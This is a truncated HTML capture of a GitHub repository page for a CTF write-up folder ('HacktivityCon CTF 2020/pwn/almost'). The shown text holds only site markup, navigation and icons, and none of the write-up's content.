src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-writeups/HacktivityCon CTF 2020/pwn/almost at master · KEERRO/ctf-writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="8BEA:7C06:141EE5A:14A0B3D:64121E35" data-pjax-transient="true"/><meta name="html-safe-nonce" content="955567aae1315221ae825411efccb6540d0e9e0c442bf1d8b82b6694bca3cb0f" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4QkVBOjdDMDY6MTQxRUU1QToxNEEwQjNEOjY0MTIxRTM1IiwidmlzaXRvcl9pZCI6IjU2MjM0MDI0NzMzMzMwNzE0MTMiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="c0fd6aebe89029ffd5f327e91e9458751dbbcbd9b2b50c6fc474a13567bf4bf7" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:162845937" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e68933ac284b7f665c8ea555e19d7e6118920c67571ea8ca1312106e9058e23e/KEERRO/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/HacktivityCon CTF 2020/pwn/almost at master · KEERRO/ctf-writeups" /><meta name="twitter:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e68933ac284b7f665c8ea555e19d7e6118920c67571ea8ca1312106e9058e23e/KEERRO/ctf-writeups" /><meta property="og:image:alt" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/HacktivityCon CTF 2020/pwn/almost at master · KEERRO/ctf-writeups" /><meta property="og:url" content="https://github.com/KEERRO/ctf-writeups" /><meta property="og:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/KEERRO/ctf-writeups git https://github.com/KEERRO/ctf-writeups.git"> <meta name="octolytics-dimension-user_id" content="46076094" /><meta name="octolytics-dimension-user_login" content="KEERRO" /><meta name="octolytics-dimension-repository_id" content="162845937" /><meta name="octolytics-dimension-repository_nwo" content="KEERRO/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="162845937" /><meta name="octolytics-dimension-repository_network_root_nwo" content="KEERRO/ctf-writeups" /> <link rel="canonical" href="https://github.com/KEERRO/ctf-writeups/tree/master/HacktivityCon%20CTF%202020/pwn/almost" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="162845937" data-scoped-search-url="/KEERRO/ctf-writeups/search" data-owner-scoped-search-url="/users/KEERRO/search" data-unscoped-search-url="/search" data-turbo="false" action="/KEERRO/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="7qY5ETXp9/QIr8wz5bACf1e5rJbAZLbjrT6gzu931jhrHaVz8+HNjT8D4b8qJUvjBnrecXl3VF/WtSFNrqDCdw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 